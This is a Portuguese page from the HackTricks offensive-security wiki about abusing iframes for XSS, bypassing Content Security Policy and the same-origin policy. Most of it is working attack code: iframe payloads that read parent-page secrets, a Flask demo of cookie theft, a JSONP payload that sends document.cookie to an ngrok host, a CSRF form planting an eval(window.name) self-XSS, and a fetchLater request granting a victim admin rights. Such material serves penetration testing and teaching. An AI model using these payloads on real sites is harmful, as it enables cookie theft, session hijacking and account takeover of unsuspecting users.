Iframes em XSS, CSP e SOP
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Iframes em XSS
Existem 3 maneiras de indicar o conteúdo de uma página em um iframe:
- Via
src
indicando uma URL (a URL pode ser de origem cruzada ou da mesma origem) - Via
src
indicando o conteúdo usando o protocolodata:
- Via
srcdoc
indicando o conteúdo
Acessando variáveis Pai & Filho
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
Se você acessar o HTML anterior via um servidor http (como python3 -m http.server
), você notará que todos os scripts serão executados (já que não há CSP impedindo isso). o pai não poderá acessar a variável secret
dentro de qualquer iframe e apenas os iframes if2 e if3 (que são considerados do mesmo site) podem acessar o segredo na janela original.
Note como if4 é considerado ter origem null
.
Iframes com CSP
tip
Por favor, note como nos seguintes bypasses a resposta para a página iframed não contém nenhum cabeçalho CSP que impeça a execução de JS.
O valor self
de script-src
não permitirá a execução do código JS usando o protocolo data:
ou o atributo srcdoc
.
No entanto, mesmo o valor none
do CSP permitirá a execução dos iframes que colocam uma URL (completa ou apenas o caminho) no atributo src
.
Portanto, é possível contornar o CSP de uma página com:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Note que o CSP anterior só permite a execução do script inline.
No entanto, apenas os scripts if1
e if2
serão executados, mas apenas if1
poderá acessar o segredo do pai.
Portanto, é possível contornar um CSP se você puder fazer upload de um arquivo JS para o servidor e carregá-lo via iframe, mesmo com script-src 'none'
. Isso pode potencialmente ser feito abusando de um endpoint JSONP de mesmo site.
Você pode testar isso com o seguinte cenário onde um cookie é roubado mesmo com script-src 'none'
. Basta executar o aplicativo e acessá-lo com seu navegador:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Outros Payloads encontrados na natureza
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
O conteúdo dentro de um iframe pode estar sujeito a restrições adicionais através do uso do atributo sandbox
. Por padrão, esse atributo não é aplicado, o que significa que não há restrições em vigor.
Quando utilizado, o atributo sandbox
impõe várias limitações:
- O conteúdo é tratado como se originasse de uma fonte única.
- Qualquer tentativa de enviar formulários é bloqueada.
- A execução de scripts é proibida.
- O acesso a certas APIs é desativado.
- Impede que links interajam com outros contextos de navegação.
- O uso de plugins via
<embed>
,<object>
,<applet>
ou tags similares é proibido. - A navegação do contexto de navegação de nível superior do conteúdo pelo próprio conteúdo é impedida.
- Recursos que são acionados automaticamente, como reprodução de vídeo ou foco automático em controles de formulário, são bloqueados.
O valor do atributo pode ser deixado vazio (sandbox=""
) para aplicar todas as restrições mencionadas. Alternativamente, pode ser definido como uma lista de valores específicos separados por espaço que isentam o iframe de certas restrições.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Iframes sem credenciais
Como explicado em este artigo, a flag credentialless
em um iframe é usada para carregar uma página dentro de um iframe sem enviar credenciais na solicitação, mantendo a mesma política de origem (SOP) da página carregada no iframe.
Isso permite que o iframe acesse informações sensíveis de outro iframe na mesma SOP carregada na página pai:
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
- Exemplo de exploração: Self-XSS + CSRF
Neste ataque, o atacante prepara uma página da web maliciosa com 2 iframes:
- Um iframe que carrega a página da vítima com a flag
credentialless
com um CSRF que aciona um XSS (Imagine um Self-XSS no nome de usuário do usuário):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Outro iframe que na verdade tem o usuário logado (sem a flag
credentialless
).
Então, a partir do XSS, é possível acessar o outro iframe, pois eles têm o mesmo SOP e roubar o cookie, por exemplo, executando:
alert(window.top[1].document.cookie);
fetchLater Attack
Como indicado em este artigo, a API fetchLater
permite configurar uma solicitação para ser executada mais tarde (após um certo tempo). Portanto, isso pode ser abusado para, por exemplo, fazer login em uma vítima dentro da sessão de um atacante (com Self-XSS), definir uma solicitação fetchLater
(para mudar a senha do usuário atual, por exemplo) e sair da sessão do atacante. Então, a vítima faz login em sua própria sessão e a solicitação fetchLater
será executada, mudando a senha da vítima para a que foi definida pelo atacante.
Dessa forma, mesmo que a URL da vítima não possa ser carregada em um iframe (devido ao CSP ou outras restrições), o atacante ainda pode executar uma solicitação na sessão da vítima.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
Iframes em SOP
Verifique as seguintes páginas:
{{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md {{#endref}}
{{#ref}} ../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md {{#endref}}
{{#ref}} ../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md {{#endref}}
{{#ref}} ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md {{#endref}}
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.